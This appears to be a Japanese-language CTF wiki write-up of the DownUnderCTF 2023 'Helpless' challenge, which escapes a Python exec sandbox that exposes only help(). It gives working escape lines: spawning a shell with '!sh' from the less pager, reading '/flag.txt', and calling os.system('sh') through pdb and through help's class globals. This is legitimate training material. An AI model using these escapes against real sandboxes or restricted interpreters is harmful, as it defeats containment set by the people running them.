pyjail wiki

DownUnderCTF 2023 - Helpless

Challenge

help() のみが使える環境。

code = input()
exec(code, {'__builtins__': {'help': help}})

Solution

help() 対話モード

help()

対話モードに入った後、モジュール名を入力してドキュメントを表示:

help> os

pager からのシェル脱出

長いヘルプテキストは pager (通常 less) で表示される。 less 内でシェルコマンドを実行:

!sh

または:

!cat /flag.txt

特定モジュールの利用

help> pdb

pdb のヘルプページから:

!import os; os.system('sh')

Technical Details

help() の動作

# help() は _Helper クラスのインスタンス
type(help) # <class '_sitebuiltins._Helper'>
# 対話モード
help() # 入力を待つ
# 直接ヘルプを表示
help(os) # os のドキュメント

pager の設定

import os
os.environ['PAGER'] # デフォルトは 'less' や 'more'

less のコマンド

コマンド動作
!cmdシェルコマンド実行
vエディタを開く
q終了

Alternative Solutions

別解1: help.class からの脱出

help.__class__.__repr__.__globals__['sys'].modules['os'].system('sh')

別解2: license() の利用

help 内で license() 相当にアクセス:

help> license

Flag

DUCTF{...}

References

  • DownUnderCTF 2023 Official
  • Python help() documentation